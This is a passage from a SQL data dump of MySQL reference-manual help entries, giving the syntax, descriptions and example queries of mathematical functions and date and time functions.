32\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(94,'ACOS',13,'Syntax:\nACOS(X)\n\nReturns the arc cosine of X, that is, the value whose cosine is X.\nReturns NULL if X is not in the range -1 to 1, or if X is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT ACOS(1);\n -> 0\nmysql> SELECT ACOS(1.0001);\n -> NULL\nmysql> SELECT ACOS(0);\n -> 1.5707963267949\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(95,'ASIN',13,'Syntax:\nASIN(X)\n\nReturns the arc sine of X, that is, the value whose sine is X. Returns\nNULL if X is not in the range -1 to 1, or if X is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT ASIN(0.2);\n -> 0.20135792079033\nmysql> SELECT ASIN(\'foo\');\n\n+-------------+\n| ASIN(\'foo\') |\n+-------------+\n| 0 |\n+-------------+\n1 row in set, 1 warning (0.00 sec)\n\nmysql> SHOW WARNINGS;\n+---------+------+-----------------------------------------+\n| Level | Code | Message |\n+---------+------+-----------------------------------------+\n| Warning | 1292 | Truncated incorrect DOUBLE value: \'foo\' |\n+---------+------+-----------------------------------------+\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(96,'ATAN',13,'Syntax:\nATAN(X)\n\nReturns the arc tangent of X, that is, the value whose tangent is X.\nReturns NULL if X is NULL\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT ATAN(2);\n -> 1.1071487177941\nmysql> SELECT ATAN(-2);\n -> -1.1071487177941\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(97,'ATAN2',13,'Syntax:\nATAN(Y,X), ATAN2(Y,X)\n\nReturns the arc tangent of the two variables X and Y. It is similar to\ncalculating the arc tangent of Y / X, except that the signs of both\narguments are used to determine the quadrant of the result. Returns\nNULL if X or Y is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT ATAN(-2,2);\n -> -0.78539816339745\nmysql> SELECT ATAN2(PI(),0);\n -> 1.5707963267949\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(98,'CEIL',13,'Syntax:\nCEIL(X)\n\nCEIL() is a synonym for CEILING().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(99,'CEILING',13,'Syntax:\nCEILING(X)\n\nReturns the smallest integer value not less than X. Returns NULL if X\nis NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT CEILING(1.23);\n -> 2\nmysql> SELECT CEILING(-1.23);\n -> -1\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(100,'CONV',13,'Syntax:\nCONV(N,from_base,to_base)\n\nConverts numbers between different number bases. Returns a string\nrepresentation of the number N, converted from base from_base to base\nto_base. Returns NULL if any argument is NULL. The argument N is\ninterpreted as an integer, but may be specified as an integer or a\nstring. The minimum base is 2 and the maximum base is 36. If from_base\nis a negative number, N is regarded as a signed number. Otherwise, N is\ntreated as unsigned. CONV() works with 64-bit precision.\n\nCONV() returns NULL if any of its arguments are NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT CONV(\'a\',16,2);\n -> \'1010\'\nmysql> SELECT CONV(\'6E\',18,8);\n -> \'172\'\nmysql> SELECT CONV(-17,10,-18);\n -> \'-H\'\nmysql> SELECT CONV(10+\'10\'+\'10\'+X\'0a\',10,10);\n -> \'40\'\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(101,'COS',13,'Syntax:\nCOS(X)\n\nReturns the cosine of X, where X is given in radians. Returns NULL if X\nis NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT COS(PI());\n -> -1\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(102,'COT',13,'Syntax:\nCOT(X)\n\nReturns the cotangent of X. Returns NULL if X is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT COT(12);\n -> -1.5726734063977\nmysql> SELECT COT(0);\n -> out-of-range error\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(103,'CRC32',13,'Syntax:\nCRC32(expr)\n\nComputes a cyclic redundancy check value and returns a 32-bit unsigned\nvalue. The result is NULL if the argument is NULL. The argument is\nexpected to be a string and (if possible) is treated as one if it is\nnot.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT CRC32(\'MySQL\');\n -> 3259397556\nmysql> SELECT CRC32(\'mysql\');\n -> 2501908538\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(104,'DEGREES',13,'Syntax:\nDEGREES(X)\n\nReturns the argument X, converted from radians to degrees. Returns NULL\nif X is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT DEGREES(PI());\n -> 180\nmysql> SELECT DEGREES(PI() / 2);\n -> 90\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(105,'EXP',13,'Syntax:\nEXP(X)\n\nReturns the value of e (the base of natural logarithms) raised to the\npower of X. The inverse of this function is LOG() (using a single\nargument only) or LN().\n\nIf X is NULL, this function returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT EXP(2);\n -> 7.3890560989307\nmysql> SELECT EXP(-2);\n -> 0.13533528323661\nmysql> SELECT EXP(0);\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(106,'FLOOR',13,'Syntax:\nFLOOR(X)\n\nReturns the largest integer value not greater than X. Returns NULL if X\nis NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT FLOOR(1.23), FLOOR(-1.23);\n -> 1, -2\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(107,'LN',13,'Syntax:\nLN(X)\n\nReturns the natural logarithm of X; that is, the base-e logarithm of X.\nIf X is less than or equal to 0.0E0, the function returns NULL and a\nwarning \"Invalid argument for logarithm\" is reported. Returns NULL if X\nis NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT LN(2);\n -> 0.69314718055995\nmysql> SELECT LN(-2);\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(108,'LOG',13,'Syntax:\nLOG(X), LOG(B,X)\n\nIf called with one parameter, this function returns the natural\nlogarithm of X. If X is less than or equal to 0.0E0, the function\nreturns NULL and a warning \"Invalid argument for logarithm\" is\nreported. Returns NULL if X or B is NULL.\n\nThe inverse of this function (when called with a single argument) is\nthe EXP() function.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT LOG(2);\n -> 0.69314718055995\nmysql> SELECT LOG(-2);\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(109,'LOG2',13,'Syntax:\nLOG2(X)\n\nReturns the base-2 logarithm of X. If X is less than or equal to 0.0E0,\nthe function returns NULL and a warning \"Invalid argument for\nlogarithm\" is reported. Returns NULL if X is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT LOG2(65536);\n -> 16\nmysql> SELECT LOG2(-100);\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(110,'LOG10',13,'Syntax:\nLOG10(X)\n\nReturns the base-10 logarithm of X. If X is less than or equal to\n0.0E0, the function returns NULL and a warning \"Invalid argument for\nlogarithm\" is reported. Returns NULL if X is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT LOG10(2);\n -> 0.30102999566398\nmysql> SELECT LOG10(100);\n -> 2\nmysql> SELECT LOG10(-100);\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(111,'MOD',13,'Syntax:\nMOD(N,M), N % M, N MOD M\n\nModulo operation. Returns the remainder of N divided by M. Returns NULL\nif M or N is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT MOD(234, 10);\n -> 4\nmysql> SELECT 253 % 7;\n -> 1\nmysql> SELECT MOD(29,9);\n -> 2\nmysql> SELECT 29 MOD 9;\n -> 2\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(112,'PI',13,'Syntax:\nPI()\n\nReturns the value of π (pi). The default number of decimal places\ndisplayed is seven, but MySQL uses the full double-precision value\ninternally.\n\nBecause the return value of this function is a double-precision value,\nits exact representation may vary between platforms or implementations.\nThis also applies to any expressions making use of PI(). See\nhttps://dev.mysql.com/doc/refman/8.0/en/floating-point-types.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT PI();\n -> 3.141593\nmysql> SELECT PI()+0.000000000000000000;\n -> 3.141592653589793000\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(113,'POW',13,'Syntax:\nPOW(X,Y)\n\nReturns the value of X raised to the power of Y. Returns NULL if X or Y\nis NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT POW(2,2);\n -> 4\nmysql> SELECT POW(2,-2);\n -> 0.25\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(114,'POWER',13,'Syntax:\nPOWER(X,Y)\n\nThis is a synonym for POW().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(115,'RADIANS',13,'Syntax:\nRADIANS(X)\n\nReturns the argument X, converted from degrees to radians. (Note that\nπ radians equals 180 degrees.) Returns NULL if X is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT RADIANS(90);\n -> 1.5707963267949\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(116,'RAND',13,'Syntax:\nRAND([N])\n\nReturns a random floating-point value v in the range 0 <= v < 1.0. To\nobtain a random integer R in the range i <= R < j, use the expression\nFLOOR(i + RAND() * (j − i)). For example, to obtain a random integer\nin the range the range 7 <= R < 12, use the following statement:\n\nSELECT FLOOR(7 + (RAND() * 5));\n\nIf an integer argument N is specified, it is used as the seed value:\n\no With a constant initializer argument, the seed is initialized once\n when the statement is prepared, prior to execution.\n\no With a nonconstant initializer argument (such as a column name), the\n seed is initialized with the value for each invocation of RAND().\n\nOne implication of this behavior is that for equal argument values,\nRAND(N) returns the same value each time, and thus produces a\nrepeatable sequence of column values. In the following example, the\nsequence of values produced by RAND(3) is the same both places it\noccurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> CREATE TABLE t (i INT);\nQuery OK, 0 rows affected (0.42 sec)\n\nmysql> INSERT INTO t VALUES(1),(2),(3);\nQuery OK, 3 rows affected (0.00 sec)\nRecords: 3 Duplicates: 0 Warnings: 0\n\nmysql> SELECT i, RAND() FROM t;\n+------+------------------+\n| i | RAND() |\n+------+------------------+\n| 1 | 0.61914388706828 |\n| 2 | 0.93845168309142 |\n| 3 | 0.83482678498591 |\n+------+------------------+\n3 rows in set (0.00 sec)\n\nmysql> SELECT i, RAND(3) FROM t;\n+------+------------------+\n| i | RAND(3) |\n+------+------------------+\n| 1 | 0.90576975597606 |\n| 2 | 0.37307905813035 |\n| 3 | 0.14808605345719 |\n+------+------------------+\n3 rows in set (0.00 sec)\n\nmysql> SELECT i, RAND() FROM t;\n+------+------------------+\n| i | RAND() |\n+------+------------------+\n| 1 | 0.35877890638893 |\n| 2 | 0.28941420772058 |\n| 3 | 0.37073435016976 |\n+------+------------------+\n3 rows in set (0.00 sec)\n\nmysql> SELECT i, RAND(3) FROM t;\n+------+------------------+\n| i | RAND(3) |\n+------+------------------+\n| 1 | 0.90576975597606 |\n| 2 | 0.37307905813035 |\n| 3 | 0.14808605345719 |\n+------+------------------+\n3 rows in set (0.01 sec)\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(117,'ROUND',13,'Syntax:\nROUND(X), ROUND(X,D)\n\nRounds the argument X to D decimal places. The rounding algorithm\ndepends on the data type of X. D defaults to 0 if not specified. D can\nbe negative to cause D digits left of the decimal point of the value X\nto become zero. The maximum absolute value for D is 30; any digits in\nexcess of 30 (or -30) are truncated. If X or D is NULL, the function\nreturns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT ROUND(-1.23);\n -> -1\nmysql> SELECT ROUND(-1.58);\n -> -2\nmysql> SELECT ROUND(1.58);\n -> 2\nmysql> SELECT ROUND(1.298, 1);\n -> 1.3\nmysql> SELECT ROUND(1.298, 0);\n -> 1\nmysql> SELECT ROUND(23.298, -1);\n -> 20\nmysql> SELECT ROUND(.12345678901234567890123456789012345, 35);\n -> 0.123456789012345678901234567890\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(118,'SIGN',13,'Syntax:\nSIGN(X)\n\nReturns the sign of the argument as -1, 0, or 1, depending on whether X\nis negative, zero, or positive. Returns NULL if X is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT SIGN(-32);\n -> -1\nmysql> SELECT SIGN(0);\n -> 0\nmysql> SELECT SIGN(234);\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(119,'SIN',13,'Syntax:\nSIN(X)\n\nReturns the sine of X, where X is given in radians. Returns NULL if X\nis NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT SIN(PI());\n -> 1.2246063538224e-16\nmysql> SELECT ROUND(SIN(PI()));\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(120,'SQRT',13,'Syntax:\nSQRT(X)\n\nReturns the square root of a nonnegative number X. If X is NULL, the\nfunction returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT SQRT(4);\n -> 2\nmysql> SELECT SQRT(20);\n -> 4.4721359549996\nmysql> SELECT SQRT(-16);\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(121,'TAN',13,'Syntax:\nTAN(X)\n\nReturns the tangent of X, where X is given in radians. Returns NULL if\nX is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT TAN(PI());\n -> -1.2246063538224e-16\nmysql> SELECT TAN(PI()+1);\n -> 1.5574077246549\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(122,'TRUNCATE',13,'Syntax:\nTRUNCATE(X,D)\n\nReturns the number X, truncated to D decimal places. If D is 0, the\nresult has no decimal point or fractional part. D can be negative to\ncause D digits left of the decimal point of the value X to become zero.\nIf X or D is NULL, the function returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT TRUNCATE(1.223,1);\n -> 1.2\nmysql> SELECT TRUNCATE(1.999,1);\n -> 1.9\nmysql> SELECT TRUNCATE(1.999,0);\n -> 1\nmysql> SELECT TRUNCATE(-1.999,1);\n -> -1.9\nmysql> SELECT TRUNCATE(122,-2);\n -> 100\nmysql> SELECT TRUNCATE(10.28*100,0);\n -> 1028\n','https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html'),(123,'ADDDATE',14,'Syntax:\nADDDATE(date,INTERVAL expr unit), ADDDATE(date,days)\n\nWhen invoked with the INTERVAL form of the second argument, ADDDATE()\nis a synonym for DATE_ADD(). The related function SUBDATE() is a\nsynonym for DATE_SUB(). For information on the INTERVAL unit argument,\nsee\nhttps://dev.mysql.com/doc/refman/8.0/en/expressions.html#temporal-inter\nvals.\n\nmysql> SELECT DATE_ADD(\'2008-01-02\', INTERVAL 31 DAY);\n -> \'2008-02-02\'\nmysql> SELECT ADDDATE(\'2008-01-02\', INTERVAL 31 DAY);\n -> \'2008-02-02\'\n\nWhen invoked with the days form of the second argument, MySQL treats it\nas an integer number of days to be added to expr.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT ADDDATE(\'2008-01-02\', 31);\n -> \'2008-02-02\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(124,'ADDTIME',14,'Syntax:\nADDTIME(expr1,expr2)\n\nADDTIME() adds expr2 to expr1 and returns the result. expr1 is a time\nor datetime expression, and expr2 is a time expression. Returns NULL if\nexpr1or expr2 is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT ADDTIME(\'2007-12-31 23:59:59.999999\', \'1 1:1:1.000002\');\n -> \'2008-01-02 01:01:01.000001\'\nmysql> SELECT ADDTIME(\'01:00:00.999999\', \'02:00:00.999998\');\n -> \'03:00:01.999997\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(125,'CONVERT_TZ',14,'Syntax:\nCONVERT_TZ(dt,from_tz,to_tz)\n\nCONVERT_TZ() converts a datetime value dt from the time zone given by\nfrom_tz to the time zone given by to_tz and returns the resulting\nvalue. Time zones are specified as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/time-zone-support.html. This\nfunction returns NULL if any of the arguments are invalid, or if any of\nthem are NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT CONVERT_TZ(\'2004-01-01 12:00:00\',\'GMT\',\'MET\');\n -> \'2004-01-01 13:00:00\'\nmysql> SELECT CONVERT_TZ(\'2004-01-01 12:00:00\',\'+00:00\',\'+10:00\');\n -> \'2004-01-01 22:00:00\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(126,'CURDATE',14,'Syntax:\nCURDATE()\n\nReturns the current date as a value in \'YYYY-MM-DD\' or YYYYMMDD format,\ndepending on whether the function is used in string or numeric context.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT CURDATE();\n -> \'2008-06-13\'\nmysql> SELECT CURDATE() + 0;\n -> 20080613\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(127,'CURRENT_DATE',14,'Syntax:\nCURRENT_DATE, CURRENT_DATE()\n\nCURRENT_DATE and CURRENT_DATE() are synonyms for CURDATE().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(128,'CURRENT_TIME',14,'Syntax:\nCURRENT_TIME, CURRENT_TIME([fsp])\n\nCURRENT_TIME and CURRENT_TIME() are synonyms for CURTIME().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(129,'CURRENT_TIMESTAMP',14,'Syntax:\nCURRENT_TIMESTAMP, CURRENT_TIMESTAMP([fsp])\n\nCURRENT_TIMESTAMP and CURRENT_TIMESTAMP() are synonyms for NOW().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(130,'CURTIME',14,'Syntax:\nCURTIME([fsp])\n\nReturns the current time as a value in \'hh:mm:ss\' or hhmmss format,\ndepending on whether the function is used in string or numeric context.\nThe value is expressed in the session time zone.\n\nIf the fsp argument is given to specify a fractional seconds precision\nfrom 0 to 6, the return value includes a fractional seconds part of\nthat many digits.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT CURTIME();\n+-----------+\n| CURTIME() |\n+-----------+\n| 19:25:37 |\n+-----------+\n\nmysql> SELECT CURTIME() + 0;\n+---------------+\n| CURTIME() + 0 |\n+---------------+\n| 192537 |\n+---------------+\n\nmysql> SELECT CURTIME(3);\n+--------------+\n| CURTIME(3) |\n+--------------+\n| 19:25:37.840 |\n+--------------+\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(131,'DATE FUNCTION',14,'Syntax:\nDATE(expr)\n\nExtracts the date part of the date or datetime expression expr. Returns\nNULL if expr is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT DATE(\'2003-12-31 01:02:03\');\n -> \'2003-12-31\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(132,'DATEDIFF',14,'Syntax:\nDATEDIFF(expr1,expr2)\n\nDATEDIFF() returns expr1 − expr2 expressed as a value in days from\none date to the other. expr1 and expr2 are date or date-and-time\nexpressions. Only the date parts of the values are used in the\ncalculation.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT DATEDIFF(\'2007-12-31 23:59:59\',\'2007-12-30\');\n -> 1\nmysql> SELECT DATEDIFF(\'2010-11-30 23:59:59\',\'2010-12-31\');\n -> -31\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(133,'DATE_ADD',14,'Syntax:\nDATE_ADD(date,INTERVAL expr unit), DATE_SUB(date,INTERVAL expr unit)\n\nThese functions perform date arithmetic. The date argument specifies\nthe starting date or datetime value. expr is an expression specifying\nthe interval value to be added or subtracted from the starting date.\nexpr is evaluated as a string; it may start with a - for negative\nintervals. unit is a keyword indicating the units in which the\nexpression should be interpreted.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT DATE_ADD(\'2018-05-01\',INTERVAL 1 DAY);\n -> \'2018-05-02\'\nmysql> SELECT DATE_SUB(\'2018-05-01\',INTERVAL 1 YEAR);\n -> \'2017-05-01\'\nmysql> SELECT DATE_ADD(\'2020-12-31 23:59:59\',\n -> INTERVAL 1 SECOND);\n -> \'2021-01-01 00:00:00\'\nmysql> SELECT DATE_ADD(\'2018-12-31 23:59:59\',\n -> INTERVAL 1 DAY);\n -> \'2019-01-01 23:59:59\'\nmysql> SELECT DATE_ADD(\'2100-12-31 23:59:59\',\n -> INTERVAL \'1:1\' MINUTE_SECOND);\n -> \'2101-01-01 00:01:00\'\nmysql> SELECT DATE_SUB(\'2025-01-01 00:00:00\',\n -> INTERVAL \'1 1:1:1\' DAY_SECOND);\n -> \'2024-12-30 22:58:59\'\nmysql> SELECT DATE_ADD(\'1900-01-01 00:00:00\',\n -> INTERVAL \'-1 10\' DAY_HOUR);\n -> \'1899-12-30 14:00:00\'\nmysql> SELECT DATE_SUB(\'1998-01-02\', INTERVAL 31 DAY);\n -> \'1997-12-02\'\nmysql> SELECT DATE_ADD(\'1992-12-31 23:59:59.000002\',\n -> INTERVAL \'1.999999\' SECOND_MICROSECOND);\n -> \'1993-01-01 00:00:01.000001\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(134,'DATE_FORMAT',14,'Syntax:\nDATE_FORMAT(date,format)\n\nFormats the date value according to the format string. If either\nargument is NULL, the function returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT DATE_FORMAT(\'2009-10-04 22:23:00\', \'%W %M %Y\');\n -> \'Sunday October 2009\'\nmysql> SELECT DATE_FORMAT(\'2007-10-04 22:23:00\', \'%H:%i:%s\');\n -> \'22:23:00\'\nmysql> SELECT DATE_FORMAT(\'1900-10-04 22:23:00\',\n -> \'%D %y %a %d %m %b %j\');\n -> \'4th 00 Thu 04 10 Oct 277\'\nmysql> SELECT DATE_FORMAT(\'1997-10-04 22:23:00\',\n -> \'%H %k %I %r %T %S %w\');\n -> \'22 22 10 10:23:00 PM 22:23:00 00 6\'\nmysql> SELECT DATE_FORMAT(\'1999-01-01\', \'%X %V\');\n -> \'1998 52\'\nmysql> SELECT DATE_FORMAT(\'2006-06-00\', \'%d\');\n -> \'00\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(135,'DATE_SUB',14,'Syntax:\nDATE_SUB(date,INTERVAL expr unit)\n\nSee the description for DATE_ADD().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(136,'DAY',14,'Syntax:\nDAY(date)\n\nDAY() is a synonym for DAYOFMONTH().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(137,'DAYNAME',14,'Syntax:\nDAYNAME(date)\n\nReturns the name of the weekday for date. The language used for the\nname is controlled by the value of the lc_time_names system variable\n(see https://dev.mysql.com/doc/refman/8.0/en/locale-support.html).\nReturns NULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT DAYNAME(\'2007-02-03\');\n -> \'Saturday\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(138,'DAYOFMONTH',14,'Syntax:\nDAYOFMONTH(date)\n\nReturns the day of the month for date, in the range 1 to 31, or 0 for\ndates such as \'0000-00-00\' or \'2008-00-00\' that have a zero day part.\nReturns NULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT DAYOFMONTH(\'2007-02-03\');\n -> 3\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(139,'DAYOFWEEK',14,'Syntax:\nDAYOFWEEK(date)\n\nReturns the weekday index for date (1 = Sunday, 2 = Monday, ..., 7 =\nSaturday). These index values correspond to the ODBC standard. Returns\nNULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT DAYOFWEEK(\'2007-02-03\');\n -> 7\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(140,'DAYOFYEAR',14,'Syntax:\nDAYOFYEAR(date)\n\nReturns the day of the year for date, in the range 1 to 366. Returns\nNULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT DAYOFYEAR(\'2007-02-03\');\n -> 34\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(141,'EXTRACT',14,'Syntax:\nEXTRACT(unit FROM date)\n\nThe EXTRACT() function uses the same kinds of unit specifiers as\nDATE_ADD() or DATE_SUB(), but extracts parts from the date rather than\nperforming date arithmetic. For information on the unit argument, see\nhttps://dev.mysql.com/doc/refman/8.0/en/expressions.html#temporal-inter\nvals. Returns NULL if date is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT EXTRACT(YEAR FROM \'2019-07-02\');\n -> 2019\nmysql> SELECT EXTRACT(YEAR_MONTH FROM \'2019-07-02 01:02:03\');\n -> 201907\nmysql> SELECT EXTRACT(DAY_MINUTE FROM \'2019-07-02 01:02:03\');\n -> 20102\nmysql> SELECT EXTRACT(MICROSECOND\n -> FROM \'2003-01-02 10:30:00.000123\');\n -> 123\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(142,'FROM_DAYS',14,'Syntax:\nFROM_DAYS(N)\n\nGiven a day number N, returns a DATE value. Returns NULL if N is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT FROM_DAYS(730669);\n -> \'2000-07-03\'\n','https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html'),(143,'FROM_UNIXTIME',14,'Syntax:\nFROM_UNIXTIME(unix_timestamp[,format])\n\nReturns a representation of unix_timestamp as a datetime or character\nstring value. The value returned is expressed using the session time\nzone. (Clients can set the session time zone as described in\nhttps://dev.mysql.com/doc/refman/8.0/en/time-zone-support.html.)\nunix_timestamp is an internal timestamp value representing seconds\nsince \'1970-01-01 00:00:00\' UTC, such as produced by the\nUNIX_TIMESTAMP() function.\n\nIf format is omitted, this function returns a DATETIME value.\n\nIf unix_timestamp or format is NULL, this function returns NULL.\n\nIf unix_timestamp is an integer, the fractional seconds precision of\nthe DATETIME is zero. When unix_timestamp is a decimal value, the\nfractional seconds precision of the DATETIME is the same as the\nprecision of the decimal value, up to a maximum of 6. When\nunix_timestamp is a floating point number, the fractional seconds\nprecision of the datetime is 6.\n\nOn 32-bit platforms, the maximum useful value for unix_timestamp is\n2147483647.999999, which returns \'2038-01-19 03:14:07.999999\' UTC. On\n64-bit platforms running MySQL 8.0.28 or later, the effective maximum\nis 32536771199.999999, which returns \'3001-01-18 23:59:59.999999\' UTC.\nRegardless of platform or version, a greater value for unix_timestamp\nthan the effective maximum returns 0.\n\nformat is used to format the result in the same way as the format\nstring used for the DATE_FORMAT() function. If format is supplied, the\nvalue returned is a VARCHAR.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html\n\n','mysql> SELECT FROM_UNIXTIME(1447430881);\n -> \'2015-11-13 10:08:01\'\nmysql> SELECT FROM_UNIXTIME(1447430881) + 0;\n -> 20151113100801\nmysql> SELECT 